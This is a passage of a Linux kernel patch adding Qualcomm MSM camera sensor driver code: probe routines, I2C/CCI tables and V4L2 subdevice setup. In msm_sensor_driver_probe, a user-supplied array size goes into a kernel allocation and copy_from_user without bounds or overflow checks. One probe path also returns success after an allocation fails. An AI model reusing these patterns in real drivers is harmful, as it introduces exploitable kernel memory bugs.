.ioctl = msm_sensor_subdev_ioctl, + .s_power = msm_sensor_power, +}; + +static struct v4l2_subdev_video_ops msm_sensor_subdev_video_ops = { + .enum_mbus_fmt = msm_sensor_v4l2_enum_fmt, +}; + +static struct v4l2_subdev_ops msm_sensor_subdev_ops = { + .core = &msm_sensor_subdev_core_ops, + .video = &msm_sensor_subdev_video_ops, +}; + +static struct msm_sensor_fn_t msm_sensor_func_tbl = { + .sensor_config = msm_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = msm_sensor_power_down, + .sensor_match_id = msm_sensor_match_id, +}; + +static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { + .i2c_read = msm_camera_cci_i2c_read, + .i2c_read_seq = msm_camera_cci_i2c_read_seq, + .i2c_write = msm_camera_cci_i2c_write, + .i2c_write_table = msm_camera_cci_i2c_write_table, + .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_cci_i2c_write_table_w_microdelay, + .i2c_util = msm_sensor_cci_i2c_util, + .i2c_write_conf_tbl = msm_camera_cci_i2c_write_conf_tbl, +}; + +static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { + .i2c_read = msm_camera_qup_i2c_read, + .i2c_read_seq = msm_camera_qup_i2c_read_seq, + .i2c_write = msm_camera_qup_i2c_write, + .i2c_write_table = msm_camera_qup_i2c_write_table, + .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_qup_i2c_write_table_w_microdelay, + .i2c_write_conf_tbl = msm_camera_qup_i2c_write_conf_tbl, +}; + +int32_t msm_sensor_platform_probe(struct platform_device *pdev, + const void *data) +{ + int rc = 0; + struct msm_sensor_ctrl_t *s_ctrl = + (struct msm_sensor_ctrl_t *)data; + struct msm_camera_cci_client *cci_client = NULL; + uint32_t session_id; + unsigned long mount_pos = 0; + s_ctrl->pdev = pdev; + CDBG("%s called data %p\n", __func__, data); + CDBG("%s pdev name %s\n", __func__, pdev->id_entry->name); + if (pdev->dev.of_node) { + rc = msm_sensor_get_dt_data(pdev->dev.of_node, s_ctrl); + if (rc < 0) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return rc; + } + } + s_ctrl->sensordata->power_info.dev = &pdev->dev; + s_ctrl->sensor_device_type = MSM_CAMERA_PLATFORM_DEVICE; + s_ctrl->sensor_i2c_client->cci_client = kzalloc(sizeof( + struct msm_camera_cci_client), GFP_KERNEL); + if (!s_ctrl->sensor_i2c_client->cci_client) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return rc; + } + /* TODO: get CCI subdev */ + cci_client = s_ctrl->sensor_i2c_client->cci_client; + cci_client->cci_subdev = msm_cci_get_subdev(); + cci_client->cci_i2c_master = s_ctrl->cci_i2c_master; + cci_client->sid = + s_ctrl->sensordata->slave_info->sensor_slave_addr >> 1; + cci_client->retries = 3; + cci_client->id_map = 0; + if (!s_ctrl->func_tbl) + s_ctrl->func_tbl = &msm_sensor_func_tbl; + if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) + s_ctrl->sensor_i2c_client->i2c_func_tbl = + &msm_sensor_cci_func_tbl; + if (!s_ctrl->sensor_v4l2_subdev_ops) + s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; + s_ctrl->sensordata->power_info.clk_info = + kzalloc(sizeof(cam_8974_clk_info), GFP_KERNEL); + if (!s_ctrl->sensordata->power_info.clk_info) { + pr_err("%s:%d failed nomem\n", __func__, __LINE__); + kfree(cci_client); + return -ENOMEM; + } + memcpy(s_ctrl->sensordata->power_info.clk_info, cam_8974_clk_info, + sizeof(cam_8974_clk_info)); + s_ctrl->sensordata->power_info.clk_info_size = + ARRAY_SIZE(cam_8974_clk_info); + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + if (rc < 0) { + pr_err("%s %s power up failed\n", __func__, + s_ctrl->sensordata->sensor_name); + kfree(s_ctrl->sensordata->power_info.clk_info); + kfree(cci_client); + return rc; + } + + pr_info("%s %s probe succeeded\n", __func__, + s_ctrl->sensordata->sensor_name); + v4l2_subdev_init(&s_ctrl->msm_sd.sd, + s_ctrl->sensor_v4l2_subdev_ops); + snprintf(s_ctrl->msm_sd.sd.name, + sizeof(s_ctrl->msm_sd.sd.name), "%s", + s_ctrl->sensordata->sensor_name); + v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, pdev); + s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); + s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; + s_ctrl->msm_sd.sd.entity.name = + s_ctrl->msm_sd.sd.name; + + mount_pos = s_ctrl->sensordata->sensor_info->position << 16; + mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> + sensor_mount_angle / 90) << 8); + s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; + + rc = camera_init_v4l2(&s_ctrl->pdev->dev, &session_id); + CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); + s_ctrl->sensordata->sensor_info->session_id = session_id; + s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; + msm_sd_register(&s_ctrl->msm_sd); + CDBG("%s:%d\n", __func__, __LINE__); + + s_ctrl->func_tbl->sensor_power_down(s_ctrl); + CDBG("%s:%d\n", __func__, __LINE__); + return rc; +} + +int msm_sensor_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id, struct msm_sensor_ctrl_t *s_ctrl) +{ + int rc = 0; + uint32_t session_id; + unsigned long mount_pos = 0; + CDBG("%s %s_i2c_probe called\n", __func__, client->name); + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + pr_err("%s %s i2c_check_functionality failed\n", + __func__, client->name); + rc = -EFAULT; + return rc; + } + + if (!client->dev.of_node) { + CDBG("msm_sensor_i2c_probe: of_node is NULL"); + s_ctrl = (struct msm_sensor_ctrl_t *)(id->driver_data); + if (!s_ctrl) { + pr_err("%s:%d sensor ctrl structure NULL\n", __func__, + __LINE__); + return -EINVAL; + } + s_ctrl->sensordata = client->dev.platform_data; + } else { + CDBG("msm_sensor_i2c_probe: of_node exisists"); + rc = msm_sensor_get_dt_data(client->dev.of_node, s_ctrl); + if (rc < 0) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return rc; + } + } + + s_ctrl->sensor_device_type = MSM_CAMERA_I2C_DEVICE; + if (s_ctrl->sensordata == NULL) { + pr_err("%s %s NULL sensor data\n", __func__, client->name); + return -EFAULT; + } + + if (s_ctrl->sensor_i2c_client != NULL) { + s_ctrl->sensor_i2c_client->client = client; + s_ctrl->sensordata->power_info.dev = &client->dev; + if (s_ctrl->sensordata->slave_info->sensor_slave_addr) + s_ctrl->sensor_i2c_client->client->addr = + s_ctrl->sensordata->slave_info-> + sensor_slave_addr; + } else { + pr_err("%s %s sensor_i2c_client NULL\n", + __func__, client->name); + rc = -EFAULT; + return rc; + } + + if (!s_ctrl->func_tbl) + s_ctrl->func_tbl = &msm_sensor_func_tbl; + if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) + s_ctrl->sensor_i2c_client->i2c_func_tbl = + &msm_sensor_qup_func_tbl; + if (!s_ctrl->sensor_v4l2_subdev_ops) + s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; + + if (!client->dev.of_node) { + s_ctrl->sensordata->power_info.clk_info = + kzalloc(sizeof(cam_8960_clk_info), GFP_KERNEL); + if (!s_ctrl->sensordata->power_info.clk_info) { + pr_err("%s:%d failed nomem\n", __func__, __LINE__); + return -ENOMEM; + } + memcpy(s_ctrl->sensordata->power_info.clk_info, + cam_8960_clk_info, sizeof(cam_8960_clk_info)); + s_ctrl->sensordata->power_info.clk_info_size = + ARRAY_SIZE(cam_8960_clk_info); + } else { + s_ctrl->sensordata->power_info.clk_info = + kzalloc(sizeof(cam_8610_clk_info), GFP_KERNEL); + if (!s_ctrl->sensordata->power_info.clk_info) { + pr_err("%s:%d failed nomem\n", __func__, __LINE__); + return -ENOMEM; + } + memcpy(s_ctrl->sensordata->power_info.clk_info, + cam_8610_clk_info, sizeof(cam_8610_clk_info)); + s_ctrl->sensordata->power_info.clk_info_size = + ARRAY_SIZE(cam_8610_clk_info); + } + + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + if (rc < 0) { + pr_err("%s %s power up failed\n", __func__, client->name); + kfree(s_ctrl->sensordata->power_info.clk_info); + return rc; + } + + CDBG("%s %s probe succeeded\n", __func__, client->name); + snprintf(s_ctrl->msm_sd.sd.name, + sizeof(s_ctrl->msm_sd.sd.name), "%s", id->name); + v4l2_i2c_subdev_init(&s_ctrl->msm_sd.sd, client, + s_ctrl->sensor_v4l2_subdev_ops); + v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, client); + s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); + s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; + s_ctrl->msm_sd.sd.entity.name = + s_ctrl->msm_sd.sd.name; + mount_pos = s_ctrl->sensordata->sensor_info->position << 16; + mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> + sensor_mount_angle / 90) << 8); + s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; + + rc = camera_init_v4l2(&s_ctrl->sensor_i2c_client->client->dev, + &session_id); + CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); + s_ctrl->sensordata->sensor_info->session_id = session_id; + s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; + msm_sd_register(&s_ctrl->msm_sd); + CDBG("%s:%d\n", __func__, __LINE__); + + s_ctrl->func_tbl->sensor_power_down(s_ctrl); + return rc; +} + +int32_t msm_sensor_init_default_params(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = -ENOMEM; + struct msm_camera_cci_client *cci_client = NULL; + struct msm_cam_clk_info *clk_info = NULL; + unsigned long mount_pos = 0; + + /* Validate input parameters */ + if (!s_ctrl) { + pr_err("%s:%d failed: invalid params s_ctrl %p\n", __func__, + __LINE__, s_ctrl); + return -EINVAL; + } + + if (!s_ctrl->sensor_i2c_client) { + pr_err("%s:%d failed: invalid params sensor_i2c_client %p\n", + __func__, __LINE__, s_ctrl->sensor_i2c_client); + return -EINVAL; + } + + /* Initialize cci_client */ + s_ctrl->sensor_i2c_client->cci_client = kzalloc(sizeof( + struct msm_camera_cci_client), GFP_KERNEL); + if (!s_ctrl->sensor_i2c_client->cci_client) { + pr_err("%s:%d failed: no memory cci_client %p\n", __func__, + __LINE__, s_ctrl->sensor_i2c_client->cci_client); + return -ENOMEM; + } + + if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + cci_client = s_ctrl->sensor_i2c_client->cci_client; + + /* Get CCI subdev */ + cci_client->cci_subdev = msm_cci_get_subdev(); + + /* Update CCI / I2C function table */ + if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) + s_ctrl->sensor_i2c_client->i2c_func_tbl = + &msm_sensor_cci_func_tbl; + } else { + if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) { + CDBG("%s:%d\n", __func__, __LINE__); + s_ctrl->sensor_i2c_client->i2c_func_tbl = + &msm_sensor_qup_func_tbl; + } + } + + /* Update function table driven by ioctl */ + if (!s_ctrl->func_tbl) + s_ctrl->func_tbl = &msm_sensor_func_tbl; + + /* Update v4l2 subdev ops table */ + if (!s_ctrl->sensor_v4l2_subdev_ops) + s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; + + /* Initialize clock info */ + clk_info = kzalloc(sizeof(cam_8974_clk_info), GFP_KERNEL); + if (!clk_info) { + pr_err("%s:%d failed no memory clk_info %p\n", __func__, + __LINE__, clk_info); + rc = -ENOMEM; + goto FREE_CCI_CLIENT; + } + memcpy(clk_info, cam_8974_clk_info, sizeof(cam_8974_clk_info)); + s_ctrl->sensordata->power_info.clk_info = clk_info; + s_ctrl->sensordata->power_info.clk_info_size = + ARRAY_SIZE(cam_8974_clk_info); + + /* Update sensor mount angle and position in media entity flag */ + mount_pos = s_ctrl->sensordata->sensor_info->position << 16; + mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> + sensor_mount_angle / 90) << 8); + s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; + + return 0; + +FREE_CCI_CLIENT: + kfree(cci_client); + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h new file mode 100755 index 0000000000000..4ab123de41b26 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h @@ -0,0 +1,112 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_SENSOR_H +#define MSM_SENSOR_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_camera_i2c.h" +#include "msm_camera_dt_util.h" +#include "msm_sd.h" + +#define DEFINE_MSM_MUTEX(mutexname) \ + static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) + +struct msm_sensor_ctrl_t; + +enum msm_sensor_state_t { + MSM_SENSOR_POWER_DOWN, + MSM_SENSOR_POWER_UP, +}; + +struct msm_sensor_fn_t { + int (*sensor_config) (struct msm_sensor_ctrl_t *, void __user *); + int (*sensor_power_down) (struct msm_sensor_ctrl_t *); + int (*sensor_power_up) (struct msm_sensor_ctrl_t *); + int (*sensor_match_id) (struct msm_sensor_ctrl_t *); +}; + + +struct msm_sensor_ctrl_t { + struct platform_device *pdev; + struct mutex *msm_sensor_mutex; + + enum msm_camera_device_type_t sensor_device_type; + struct msm_camera_sensor_board_info *sensordata; + struct msm_sensor_power_setting_array power_setting_array; + struct msm_sensor_packed_cfg_t *cfg_override; + struct msm_sd_subdev msm_sd; + enum cci_i2c_master_t cci_i2c_master; + + struct msm_camera_i2c_client *sensor_i2c_client; + struct v4l2_subdev_info *sensor_v4l2_subdev_info; + uint8_t sensor_v4l2_subdev_info_size; + struct v4l2_subdev_ops *sensor_v4l2_subdev_ops; + struct msm_sensor_fn_t *func_tbl; + struct msm_camera_i2c_reg_setting stop_setting; + void *misc_regulator; + enum msm_sensor_state_t sensor_state; + uint8_t is_probe_succeed; + uint32_t id; + struct device_node *of_node; + enum msm_camera_stream_type_t camera_stream_type; + uint32_t set_mclk_23880000; +}; + +int msm_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, void __user *argp); + +int msm_sensor_power_up(struct msm_sensor_ctrl_t *s_ctrl); + +int msm_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl); + +int msm_sensor_check_id(struct msm_sensor_ctrl_t *s_ctrl); + +int msm_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl); + +int32_t msm_sensor_platform_probe(struct platform_device *pdev, + const void *data); +int msm_sensor_update_cfg(struct msm_sensor_ctrl_t *s_ctrl); + +int msm_sensor_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id, struct msm_sensor_ctrl_t *s_ctrl); + +int msm_sensor_free_sensor_data(struct msm_sensor_ctrl_t *s_ctrl); + +int32_t msm_sensor_init_default_params(struct msm_sensor_ctrl_t *s_ctrl); + +int32_t msm_sensor_get_dt_gpio_req_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); + +int32_t msm_sensor_get_dt_gpio_set_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); + +int32_t msm_sensor_init_gpio_pin_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c new file mode 100644 index 0000000000000..e7ed93b0c7159 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c @@ -0,0 +1,1034 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define SENSOR_DRIVER_I2C "camera" +/* Header file declaration */ +#include "msm_sensor.h" +#include "msm_sd.h" +#include "camera.h" +#include "msm_cci.h" +#include "msm_camera_dt_util.h" + +/* Logging macro */ +/*#define MSM_SENSOR_DRIVER_DEBUG*/ +#undef CDBG +#ifdef MSM_SENSOR_DRIVER_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#endif + +#define SENSOR_MAX_MOUNTANGLE (360) + +/* Static declaration */ +static struct msm_sensor_ctrl_t *g_sctrl[MAX_CAMERAS]; + +static int msm_sensor_platform_remove(struct platform_device *pdev) +{ + struct msm_sensor_ctrl_t *s_ctrl; + + pr_err("%s: sensor FREE\n", __func__); + + s_ctrl = g_sctrl[pdev->id]; + if (!s_ctrl) { + pr_err("%s: sensor device is NULL\n", __func__); + return 0; + } + + msm_sensor_free_sensor_data(s_ctrl); + kfree(s_ctrl->msm_sensor_mutex); + kfree(s_ctrl->sensor_i2c_client); + kfree(s_ctrl); + g_sctrl[pdev->id] = NULL; + + return 0; +} + + +static const struct of_device_id msm_sensor_driver_dt_match[] = { + {.compatible = "qcom,camera"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_sensor_driver_dt_match); + +static struct platform_driver msm_sensor_platform_driver = { + .driver = { + .name = "qcom,camera", + .owner = THIS_MODULE, + .of_match_table = msm_sensor_driver_dt_match, + }, + .remove = msm_sensor_platform_remove, +}; + +static struct v4l2_subdev_info msm_sensor_driver_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static int32_t msm_sensor_driver_create_i2c_v4l_subdev + (struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + uint32_t session_id = 0; + struct i2c_client *client = s_ctrl->sensor_i2c_client->client; + + CDBG("%s %s I2c probe succeeded\n", __func__, client->name); + rc = camera_init_v4l2(&client->dev, &session_id); + if (rc < 0) { + pr_err("failed: camera_init_i2c_v4l2 rc %d", rc); + return rc; + } + CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); + snprintf(s_ctrl->msm_sd.sd.name, + sizeof(s_ctrl->msm_sd.sd.name), "%s", + s_ctrl->sensordata->sensor_name); + v4l2_i2c_subdev_init(&s_ctrl->msm_sd.sd, client, + s_ctrl->sensor_v4l2_subdev_ops); + v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, client); + s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); + s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; + s_ctrl->msm_sd.sd.entity.name = s_ctrl->msm_sd.sd.name; + s_ctrl->sensordata->sensor_info->session_id = session_id; + s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; + msm_sd_register(&s_ctrl->msm_sd); + CDBG("%s:%d\n", __func__, __LINE__); + return rc; +} + +static int32_t msm_sensor_driver_create_v4l_subdev + (struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + uint32_t session_id = 0; + + rc = camera_init_v4l2(&s_ctrl->pdev->dev, &session_id); + if (rc < 0) { + pr_err("failed: camera_init_v4l2 rc %d", rc); + return rc; + } + CDBG("rc %d session_id %d", rc, session_id); + s_ctrl->sensordata->sensor_info->session_id = session_id; + + /* Create /dev/v4l-subdevX device */ + v4l2_subdev_init(&s_ctrl->msm_sd.sd, s_ctrl->sensor_v4l2_subdev_ops); + snprintf(s_ctrl->msm_sd.sd.name, sizeof(s_ctrl->msm_sd.sd.name), "%s", + s_ctrl->sensordata->sensor_name); + v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, s_ctrl->pdev); + s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); + s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; + s_ctrl->msm_sd.sd.entity.name = s_ctrl->msm_sd.sd.name; + s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; + msm_sd_register(&s_ctrl->msm_sd); + return rc; +} + +static int32_t msm_sensor_fill_eeprom_subdevid_by_name( + struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + const char *eeprom_name; + struct device_node *src_node = NULL; + uint32_t val = 0, count = 0, eeprom_name_len; + int i; + int32_t *eeprom_subdev_id; + struct msm_sensor_info_t *sensor_info; + struct device_node *of_node = s_ctrl->of_node; + const void *p; + + if (!s_ctrl->sensordata->eeprom_name || !of_node) + return -EINVAL; + + eeprom_name_len = strlen(s_ctrl->sensordata->eeprom_name); + if (eeprom_name_len >= MAX_SENSOR_NAME) + return -EINVAL; + + sensor_info = s_ctrl->sensordata->sensor_info; + eeprom_subdev_id = &sensor_info->subdev_id[SUB_MODULE_EEPROM]; + /* + * string for eeprom name is valid, set sudev id to -1 + * and try to found new id + */ + *eeprom_subdev_id = -1; + + if (0 == eeprom_name_len) + return 0; + + CDBG("Try to find eeprom subdev for %s\n", + s_ctrl->sensordata->eeprom_name); + p = of_get_property(of_node, "qcom,eeprom-src", &count); + if (!p || !count) + return 0; + + count /= sizeof(uint32_t); + for (i = 0; i < count; i++) { + eeprom_name = NULL; + src_node = of_parse_phandle(of_node, "qcom,eeprom-src", i); + if (!src_node) { + pr_err("eeprom src node NULL\n"); + continue; + } + rc = of_property_read_string(src_node, "qcom,eeprom-name", + &eeprom_name); + if (rc < 0) { + pr_err("failed\n"); + of_node_put(src_node); + continue; + } + if (strcmp(eeprom_name, s_ctrl->sensordata->eeprom_name)) + continue; + + rc = of_property_read_u32(src_node, "cell-index", &val); + + CDBG("%s qcom,eeprom cell index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("failed\n"); + of_node_put(src_node); + continue; + } + + *eeprom_subdev_id = val; + CDBG("Done. Eeprom subdevice id is %d\n", val); + of_node_put(src_node); + src_node = NULL; + break; + } + + return rc; +} + +static int32_t msm_sensor_fill_actuator_subdevid_by_name( + struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + struct device_node *src_node = NULL; + uint32_t val = 0, actuator_name_len; + int32_t *actuator_subdev_id; + struct msm_sensor_info_t *sensor_info; + struct device_node *of_node = s_ctrl->of_node; + + if (!s_ctrl->sensordata->actuator_name || !of_node) + return -EINVAL; + + actuator_name_len = strlen(s_ctrl->sensordata->actuator_name); + if (actuator_name_len >= MAX_SENSOR_NAME) + return -EINVAL; + + sensor_info = s_ctrl->sensordata->sensor_info; + actuator_subdev_id = &sensor_info->subdev_id[SUB_MODULE_ACTUATOR]; + /* + * string for actuator name is valid, set sudev id to -1 + * and try to found new id + */ + *actuator_subdev_id = -1; + + if (0 == actuator_name_len) + return 0; + + src_node = of_parse_phandle(of_node, "qcom,actuator-src", 0); + if (!src_node) { + CDBG("%s:%d src_node NULL\n", __func__, __LINE__); + } else { + rc = of_property_read_u32(src_node, "cell-index", &val); + CDBG("%s qcom,actuator cell index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -EINVAL; + } + *actuator_subdev_id = val; + of_node_put(src_node); + src_node = NULL; + } + + return rc; +} + +static int32_t msm_sensor_fill_slave_info_init_params( + struct msm_camera_sensor_slave_info *slave_info, + struct msm_sensor_info_t *sensor_info) +{ + struct msm_sensor_init_params *sensor_init_params; + if (!slave_info || !sensor_info) + return -EINVAL; + + if (!slave_info->is_init_params_valid) + return 0; + + sensor_init_params = &slave_info->sensor_init_params; + if (INVALID_CAMERA_B != sensor_init_params->position) + sensor_info->position = + sensor_init_params->position; + + if (SENSOR_MAX_MOUNTANGLE > sensor_init_params->sensor_mount_angle) { + sensor_info->sensor_mount_angle = + sensor_init_params->sensor_mount_angle; + sensor_info->is_mount_angle_valid = 1; + } + + if (CAMERA_MODE_INVALID != sensor_init_params->modes_supported) + sensor_info->modes_supported = + sensor_init_params->modes_supported; + + return 0; +} + + +static int32_t msm_sensor_validate_slave_info( + struct msm_sensor_info_t *sensor_info) +{ + if (INVALID_CAMERA_B == sensor_info->position) { + sensor_info->position = BACK_CAMERA_B; + CDBG("%s:%d Set default sensor position\n", + __func__, __LINE__); + } + if (CAMERA_MODE_INVALID == sensor_info->modes_supported) { + sensor_info->modes_supported = CAMERA_MODE_2D_B; + CDBG("%s:%d Set default sensor modes_supported\n", + __func__, __LINE__); + } + if (SENSOR_MAX_MOUNTANGLE <= sensor_info->sensor_mount_angle) { + sensor_info->sensor_mount_angle = 0; + CDBG("%s:%d Set default sensor mount angle\n", + __func__, __LINE__); + sensor_info->is_mount_angle_valid = 1; + } + return 0; +} + +/* static function definition */ +int32_t msm_sensor_driver_probe(void *setting) +{ + int32_t rc = 0; + uint16_t i = 0, size = 0, size_down = 0; + struct msm_sensor_ctrl_t *s_ctrl = NULL; + struct msm_camera_cci_client *cci_client = NULL; + struct msm_camera_sensor_slave_info *slave_info = NULL; + struct msm_sensor_power_setting *power_setting = NULL; + struct msm_sensor_power_setting *power_down_setting = NULL; + struct msm_camera_slave_info *camera_info = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + int c, end; + struct msm_sensor_power_setting power_down_setting_t; + unsigned long mount_pos = 0; + + /* Validate input parameters */ + if (!setting) { + pr_err("failed: slave_info %p", setting); + return -EINVAL; + } + + /* Allocate memory for slave info */ + slave_info = kzalloc(sizeof(*slave_info), GFP_KERNEL); + if (!slave_info) { + pr_err("failed: no memory slave_info %p", slave_info); + return -ENOMEM; + } + + if (copy_from_user(slave_info, (void *)setting, sizeof(*slave_info))) { + pr_err("failed: copy_from_user"); + rc = -EFAULT; + goto FREE_SLAVE_INFO; + } + + /* Print slave info */ + CDBG("camera id %d", slave_info->camera_id); + CDBG("slave_addr 0x%x", slave_info->slave_addr); + CDBG("addr_type %d", slave_info->addr_type); + CDBG("sensor_id_reg_addr 0x%x", + slave_info->sensor_id_info.sensor_id_reg_addr); + CDBG("sensor_id 0x%x", slave_info->sensor_id_info.sensor_id); + CDBG("size %d", slave_info->power_setting_array.size); + CDBG("size down %d", slave_info->power_setting_array.size_down); + + if (slave_info->is_init_params_valid) { + CDBG("position %d", + slave_info->sensor_init_params.position); + CDBG("mount %d", + slave_info->sensor_init_params.sensor_mount_angle); + } + + /* Validate camera id */ + if (slave_info->camera_id >= MAX_CAMERAS) { + pr_err("failed: invalid camera id %d max %d", + slave_info->camera_id, MAX_CAMERAS); + rc = -EINVAL; + goto FREE_SLAVE_INFO; + } + + /* Extract s_ctrl from camera id */ + s_ctrl = g_sctrl[slave_info->camera_id]; + if (!s_ctrl) { + pr_err("failed: s_ctrl %p for camera_id %d", s_ctrl, + slave_info->camera_id); + rc = -EINVAL; + goto FREE_SLAVE_INFO; + } + + CDBG("s_ctrl[%d] %p", slave_info->camera_id, s_ctrl); + + if (s_ctrl->is_probe_succeed == 1) { + /* + * Different sensor on this camera slot has been connected + * and probe already succeeded for that sensor. Ignore this + * probe + */ + pr_err("slot %d has some other sensor", slave_info->camera_id); + rc = 0; + goto FREE_SLAVE_INFO; + } + + size = slave_info->power_setting_array.size; + /* Allocate memory for power up setting */ + power_setting = kzalloc(sizeof(*power_setting) * size, GFP_KERNEL); + if (!power_setting) { + pr_err("failed: no memory power_setting %p", power_setting); + rc = -ENOMEM; + goto FREE_SLAVE_INFO; + } + + if (copy_from_user(power_setting, + (void *)slave_info->power_setting_array.power_setting, + sizeof(*power_setting) * size)) { + pr_err("failed: copy_from_user"); + rc = -EFAULT; + goto FREE_POWER_SETTING; + } + + /* Print power setting */ + for (i = 0; i < size; i++) { + CDBG("UP seq_type %d seq_val %d config_val %ld delay %d", + power_setting[i].seq_type, power_setting[i].seq_val, + power_setting[i].config_val, power_setting[i].delay); + } + /*DOWN*/ + size_down = slave_info->power_setting_array.size_down; + if (!size_down) + size_down = size; + /* Allocate 